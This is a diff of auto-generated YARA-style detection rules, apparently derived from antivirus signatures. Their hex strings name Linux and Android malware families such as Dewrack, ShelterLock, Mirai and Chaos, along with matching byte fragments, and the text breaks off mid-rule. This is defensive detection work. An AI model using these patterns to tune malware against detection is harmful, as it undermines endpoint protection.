_InfrastructureShared_20652{ ((#a_53_0 & 1)*21539) >=1 } -rule _InfrastructureShared_20653{ +rule _InfrastructureShared_21892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 01 00 21 " @@ -272132,17 +287896,58 @@ rule _InfrastructureShared_20653{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_20654{ +rule _InfrastructureShared_21893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 5a 65 6e 4c 65 61 6b 53 74 72 69 6e 67 2e 41 00 01 00 09 00 7a 65 6e 32 5f 6c 65 61 6b 00 00 8c 41 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 50 59 49 4e 53 54 41 4c 4c 45 52 00 0a } //16675 + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 5a 65 6e 4c 65 61 6b 53 74 72 69 6e 67 2e 41 00 01 00 09 00 7a 65 6e 32 5f 6c 65 61 6b 00 00 8c 3b 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20655{ +rule _InfrastructureShared_21894{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 44 65 77 72 61 63 6b 2e 45 21 64 68 61 00 03 00 0c 01 6c 69 62 73 74 61 67 65 31 2e 73 6f 00 00 8c 3b 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=3 + +} +rule _InfrastructureShared_21895{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 44 65 77 72 61 63 6b 2e 46 21 64 68 61 00 03 00 0c 01 6c 69 62 73 74 61 67 65 32 2e 73 6f 00 00 8c 3d 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=3 + +} +rule _InfrastructureShared_21896{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 44 65 77 72 61 63 6b 2e 47 21 64 68 61 00 03 00 0e 01 6c 69 62 69 6e 6a 65 63 74 65 64 2e 73 6f 00 00 8c 40 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 4d 55 53 4c 5f 53 54 41 54 49 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=3 + +} +rule _InfrastructureShared_21897{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_54_0 = {3a 4d 55 53 4c 5f 53 54 41 54 49 43 00 01 00 13 03 48 31 ed 48 89 e7 48 8d 35 90 01 04 48 83 e4 f0 e8 90 00 01 00 0a 01 31 ed 89 e0 83 e4 f0 50 50 e8 00 00 8c 41 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 50 59 49 4e 53 54 41 4c 4c 45 52 00 0a 00 } //18467 + $a_72_1 = {6f 72 20 64 65 74 65 63 74 65 64 20 73 74 61 72 74 69 6e 67 20 50 79 74 68 6f 6e 20 56 4d 2e 00 00 8c 42 00 00 01 00 01 00 02 00 21 23 4c 69 6e 75 78 3a 48 53 54 52 3a 55 50 58 5f 50 61 63 6b 65 64 00 01 00 } //290 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*290) >=1 + +} +rule _InfrastructureShared_21898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -272152,7 +287957,7 @@ rule _InfrastructureShared_20655{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_20656{ +rule _InfrastructureShared_21899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -272162,7 +287967,7 @@ rule _InfrastructureShared_20656{ ((#a_6e_0 & 1)*19491) >=1 } -rule _InfrastructureShared_20657{ +rule _InfrastructureShared_21900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272172,7 +287977,7 @@ rule _InfrastructureShared_20657{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20658{ +rule _InfrastructureShared_21901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 02 00 21 " @@ -272183,7 +287988,7 @@ rule _InfrastructureShared_20658{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*26991) >=4 } -rule _InfrastructureShared_20659{ +rule _InfrastructureShared_21902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272193,7 +287998,7 @@ rule _InfrastructureShared_20659{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20660{ +rule _InfrastructureShared_21903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272203,7 +288008,7 @@ rule _InfrastructureShared_20660{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_20661{ +rule _InfrastructureShared_21904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272214,7 +288019,7 @@ rule _InfrastructureShared_20661{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29284) >=2 } -rule _InfrastructureShared_20662{ +rule _InfrastructureShared_21905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272224,7 +288029,7 @@ rule _InfrastructureShared_20662{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20663{ +rule _InfrastructureShared_21906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 01 00 21 " @@ -272234,7 +288039,7 @@ rule _InfrastructureShared_20663{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_20664{ +rule _InfrastructureShared_21907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272244,7 +288049,7 @@ rule _InfrastructureShared_20664{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20665{ +rule _InfrastructureShared_21908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272254,7 +288059,7 @@ rule _InfrastructureShared_20665{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20666{ +rule _InfrastructureShared_21909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272265,7 +288070,7 @@ rule _InfrastructureShared_20666{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*29801) >=2 } -rule _InfrastructureShared_20667{ +rule _InfrastructureShared_21910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272275,7 +288080,7 @@ rule _InfrastructureShared_20667{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20668{ +rule _InfrastructureShared_21911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -272286,7 +288091,7 @@ rule _InfrastructureShared_20668{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*28015) >=1 } -rule _InfrastructureShared_20669{ +rule _InfrastructureShared_21912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272296,7 +288101,7 @@ rule _InfrastructureShared_20669{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_20670{ +rule _InfrastructureShared_21913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272306,7 +288111,7 @@ rule _InfrastructureShared_20670{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20671{ +rule _InfrastructureShared_21914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272316,7 +288121,7 @@ rule _InfrastructureShared_20671{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20672{ +rule _InfrastructureShared_21915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272327,7 +288132,7 @@ rule _InfrastructureShared_20672{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_20673{ +rule _InfrastructureShared_21916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272338,7 +288143,7 @@ rule _InfrastructureShared_20673{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_20674{ +rule _InfrastructureShared_21917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272349,7 +288154,7 @@ rule _InfrastructureShared_20674{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448) >=2 } -rule _InfrastructureShared_20675{ +rule _InfrastructureShared_21918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -272360,7 +288165,7 @@ rule _InfrastructureShared_20675{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448) >=10 } -rule _InfrastructureShared_20676{ +rule _InfrastructureShared_21919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272370,7 +288175,17 @@ rule _InfrastructureShared_20676{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20677{ +rule _InfrastructureShared_21920{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6f 6e 66 75 73 65 64 53 70 61 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 1b 01 55 73 61 67 65 3a 20 25 73 20 2d 68 20 68 6f 73 74 20 2d 70 20 70 6f 72 74 0a 00 00 00 8c 50 00 00 01 00 01 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_21921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272380,7 +288195,7 @@ rule _InfrastructureShared_20677{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20678{ +rule _InfrastructureShared_21922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -272392,7 +288207,7 @@ rule _InfrastructureShared_20678{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14930+(#a_3a_2 & 1)*19521) >=2 } -rule _InfrastructureShared_20679{ +rule _InfrastructureShared_21923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 02 00 21 " @@ -272403,7 +288218,7 @@ rule _InfrastructureShared_20679{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562) >=4 } -rule _InfrastructureShared_20680{ +rule _InfrastructureShared_21924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272414,7 +288229,7 @@ rule _InfrastructureShared_20680{ ((#a_46_0 & 1)*16675+(#a_52_2 & 1)*21320) >=3 } -rule _InfrastructureShared_20681{ +rule _InfrastructureShared_21925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -272425,19 +288240,19 @@ rule _InfrastructureShared_20681{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*21587) >=1 } -rule _InfrastructureShared_20682{ +rule _InfrastructureShared_21926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 03 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 47 6f 4c 61 6e 67 41 50 49 46 69 6c 65 57 72 69 74 65 2e 42 00 02 00 0b 80 01 6f 73 2e 4f 70 65 6e 46 69 6c 65 02 00 08 80 01 69 6f 2e 57 72 69 74 65 02 00 06 80 01 2e 43 6c 6f 73 65 00 00 8c 53 00 00 01 00 01 00 02 00 21 23 41 } //18467 $a_45_1 = {70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 5a 65 63 6f 6e 64 2e 41 21 64 68 61 00 01 00 0f 01 6f 6c 69 76 65 33 32 5f 36 34 5f 6d 6d 61 70 01 00 11 01 65 78 70 6c 6f 69 74 5f } //17996 - $a_72_2 = {74 69 6f 6e 00 00 8c 53 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 53 68 65 6c 74 65 72 4c 6f 63 6b 2e 41 00 05 00 0c 01 74 73 68 64 2f 74 73 68 64 2e 67 6f 05 00 11 01 69 6e 74 65 72 6e 61 6c 2f 74 73 68 64 2e 52 75 6e 00 00 8c 54 00 00 03 00 03 00 } //29801 + $a_72_2 = {74 69 6f 6e 00 00 8c 53 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 53 68 65 6c 74 65 72 4c 6f 63 6b 2e 41 00 05 00 0c 01 74 73 68 64 2f 74 73 68 64 2e 67 6f 05 00 11 01 69 6e 74 65 72 6e 61 6c 2f 74 73 68 64 2e 52 75 6e 00 00 8c 56 00 00 01 00 01 00 } //29801 condition: ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*17996+(#a_72_2 & 1)*29801) >=6 } -rule _InfrastructureShared_20683{ +rule _InfrastructureShared_21927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -272447,29 +288262,17 @@ rule _InfrastructureShared_20683{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20684{ +rule _InfrastructureShared_21928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 02 00 21 " strings : - $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 53 68 65 6c 74 65 72 4c 6f 63 6b 2e 41 00 05 00 0c 01 74 73 68 64 2f 74 73 68 64 2e 67 6f 05 00 11 01 69 6e 74 65 72 6e 61 6c 2f 74 73 68 64 2e 52 75 6e 00 00 8c 54 00 00 03 } //16675 + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 53 68 65 6c 74 65 72 4c 6f 63 6b 2e 41 00 05 00 0c 01 74 73 68 64 2f 74 73 68 64 2e 67 6f 05 00 11 01 69 6e 74 65 72 6e 61 6c 2f 74 73 68 64 2e 52 75 6e 00 00 8c 56 00 00 01 } //16675 condition: ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_20685{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6c 6c 69 73 68 2e 42 21 64 68 61 00 01 00 09 01 68 6b 77 68 6b 68 66 77 77 01 00 0c 01 68 66 77 65 68 6a 6b 77 68 65 66 71 01 00 0a 01 6a 4a 68 71 77 68 6a 68 64 71 00 00 8c 56 00 00 } //16675 - $a_00_1 = {01 } //1 - $a_41_2 = {46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 57 6f 72 6b 65 72 2e 43 21 64 68 61 00 01 } //8448 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_41_2 & 1)*8448) >=3 - -} -rule _InfrastructureShared_20686{ +rule _InfrastructureShared_21929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272479,7 +288282,7 @@ rule _InfrastructureShared_20686{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20687{ +rule _InfrastructureShared_21930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272489,7 +288292,7 @@ rule _InfrastructureShared_20687{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20688{ +rule _InfrastructureShared_21931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -272499,7 +288302,7 @@ rule _InfrastructureShared_20688{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20689{ +rule _InfrastructureShared_21932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272509,7 +288312,7 @@ rule _InfrastructureShared_20689{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_20690{ +rule _InfrastructureShared_21933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272519,7 +288322,27 @@ rule _InfrastructureShared_20690{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_20691{ +rule _InfrastructureShared_21934{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 6c 75 65 53 6e 61 69 6c 2e 44 21 64 68 61 00 01 00 10 80 01 75 73 72 2f 6c 6f 63 61 6c 2f 67 6f 31 2e 39 2f 01 00 13 80 01 2f 74 6d 70 2f 31 35 33 30 31 34 30 38 30 2f 73 72 63 2f 00 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_21935{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 56 61 6e 74 61 67 65 53 74 61 63 6b 2e 41 21 64 68 61 00 05 00 21 03 83 ec 0c 6a 00 e8 90 01 04 83 c4 10 8b 43 04 83 c0 04 8b 00 83 ec 0c 50 e8 90 01 04 83 c4 10 90 00 00 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=5 + +} +rule _InfrastructureShared_21936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272531,7 +288354,7 @@ rule _InfrastructureShared_20691{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_46_2 & 1)*16675) >=3 } -rule _InfrastructureShared_20692{ +rule _InfrastructureShared_21937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272541,7 +288364,7 @@ rule _InfrastructureShared_20692{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20693{ +rule _InfrastructureShared_21938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -272553,7 +288376,7 @@ rule _InfrastructureShared_20693{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_41_2 & 1)*8448) >=2 } -rule _InfrastructureShared_20694{ +rule _InfrastructureShared_21939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -272563,7 +288386,17 @@ rule _InfrastructureShared_20694{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20695{ +rule _InfrastructureShared_21940{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 61 69 6e 53 74 61 67 65 2e 42 21 64 68 61 00 05 00 10 01 45 6c 43 4e 35 59 70 79 76 75 31 72 58 51 3d 3d 05 00 08 01 57 6c 65 51 2f 38 45 3d 05 00 08 01 2d 70 6c 2c 4d 4b } //16675 + condition: + ((#a_46_0 & 1)*16675) >=10 + +} +rule _InfrastructureShared_21941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 21 " @@ -272574,7 +288407,7 @@ rule _InfrastructureShared_20695{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=4 } -rule _InfrastructureShared_20696{ +rule _InfrastructureShared_21942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272584,7 +288417,20 @@ rule _InfrastructureShared_20696{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20697{ +rule _InfrastructureShared_21943{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 72 76 2e 47 41 00 01 00 0a 80 01 65 78 70 2e 41 74 74 61 63 6b 01 00 07 80 01 2f 65 78 70 2e 67 6f ff ff 11 80 01 2f 6d 61 74 68 2f 72 61 6e 64 2f 65 78 70 2e } //21539 + $a_00_1 = {06 } //28519 + $a_7a_2 = {61 70 2f 00 00 8c 60 00 00 03 00 03 00 03 00 21 23 44 44 6f 53 3a 4c 69 6e 75 78 2f 4c 69 71 75 61 64 2e 41 21 64 68 61 00 01 00 17 00 57 45 } //384 + $a_4d_3 = {20 54 4f 20 54 48 45 20 42 41 4c 4c 20 50 49 54 01 00 09 00 4c 4f 4c 4e 4f 47 54 46 4f 01 00 12 00 42 6f 74 73 20 63 6f 6e 6e 65 63 74 65 64 3a 20 25 64 00 00 8c 60 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 56 69 72 54 6f 6f 6c 3a 4c 69 } //17228 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28519+(#a_7a_2 & 1)*384+(#a_4d_3 & 1)*17228) >=2 + +} +rule _InfrastructureShared_21944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272595,7 +288441,7 @@ rule _InfrastructureShared_20697{ ((#a_6f_0 & 1)*17443+(#a_6e_1 & 1)*25376) >=3 } -rule _InfrastructureShared_20698{ +rule _InfrastructureShared_21945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272607,7 +288453,7 @@ rule _InfrastructureShared_20698{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*27491+(#a_78_2 & 1)*22081) >=3 } -rule _InfrastructureShared_20699{ +rule _InfrastructureShared_21946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -272620,7 +288466,7 @@ rule _InfrastructureShared_20699{ ((#a_63_0 & 1)*16931+(#a_54_1 & 1)*17996+(#a_34_2 & 1)*13097+(#a_6f_3 & 1)*21562) >=3 } -rule _InfrastructureShared_20700{ +rule _InfrastructureShared_21947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -272633,7 +288479,7 @@ rule _InfrastructureShared_20700{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25443+(#a_00_2 & 1)*9533+(#a_46_3 & 1)*16675) >=4 } -rule _InfrastructureShared_20701{ +rule _InfrastructureShared_21948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272644,7 +288490,7 @@ rule _InfrastructureShared_20701{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*29477) >=2 } -rule _InfrastructureShared_20702{ +rule _InfrastructureShared_21949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272655,7 +288501,7 @@ rule _InfrastructureShared_20702{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25963) >=3 } -rule _InfrastructureShared_20703{ +rule _InfrastructureShared_21950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272666,7 +288512,7 @@ rule _InfrastructureShared_20703{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*8293) >=2 } -rule _InfrastructureShared_20704{ +rule _InfrastructureShared_21951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272678,7 +288524,7 @@ rule _InfrastructureShared_20704{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*24431+(#a_00_2 & 1)*-29696) >=3 } -rule _InfrastructureShared_20705{ +rule _InfrastructureShared_21952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272688,32 +288534,43 @@ rule _InfrastructureShared_20705{ ((#a_41_0 & 1)*20515) >=3 } -rule _InfrastructureShared_20706{ +rule _InfrastructureShared_21953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 6c 61 6e 64 72 65 6c 6c 61 2e 42 21 64 68 61 00 01 00 04 01 ca fe ba b1 01 00 04 01 ca fe ba b2 01 00 04 01 ca fe ba b3 01 00 04 01 ca fe ba b4 01 00 16 01 0b 46 13 f8 01 4b 7e 2c ce d1 } //16675 - $a_29_1 = {d1 5d 78 7e 2d c8 d1 00 00 8c 68 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 53 21 4d 54 42 00 01 00 22 00 89 f0 31 d2 25 ff ff 00 00 89 d7 89 c6 01 ce 11 df 89 fb 89 f1 0f ac d9 10 c1 eb 10 89 d8 09 c8 75 de 01 00 14 00 8b 55 ec 8b 04 b2 31 d2 89 04 b7 46 39 da 72 f0 39 ce 72 ec 00 00 8c 69 00 00 01 00 01 00 01 } //30793 - $a_41_2 = {46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4e 61 61 62 75 50 6f 72 74 53 63 61 6e 6e 65 72 2e 41 } //8448 F:HackTool:Linux/NaabuPortScanner.A - $a_61_3 = {01 00 31 01 0a 64 65 70 09 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 61 62 75 2f 76 32 09 28 64 65 76 65 6c 29 00 00 8c 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 61 64 69 63 61 6c 45 61 72 73 2e 53 42 00 01 00 0f } //25633 - $a_72_4 = {65 72 20 66 69 6e 69 73 68 65 64 01 00 15 01 50 52 4f 58 59 00 00 00 3c 48 54 4d 4c 00 00 00 3c 48 45 41 44 01 00 0d 01 3c 3f 78 6d 6c 00 00 00 25 50 44 46 2d 00 00 8c 6a 00 00 07 00 07 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 43 68 61 6f 73 2e 41 21 4d 54 42 00 03 00 0d } //29441 + $a_29_1 = {d1 5d 78 7e 2d c8 d1 00 00 8c 68 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 53 21 4d 54 42 00 01 00 22 00 89 f0 31 d2 25 ff ff 00 00 89 d7 89 c6 01 ce 11 df 89 fb 89 f1 0f ac d9 10 c1 eb 10 89 d8 09 c8 75 de 01 00 14 00 8b 55 ec 8b 04 b2 31 d2 89 04 b7 46 39 da 72 f0 39 ce 72 ec 00 00 8c 68 00 00 02 00 02 00 02 } //30793 + $a_54_2 = {4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 6f 70 65 72 2e 4a 21 4d 54 42 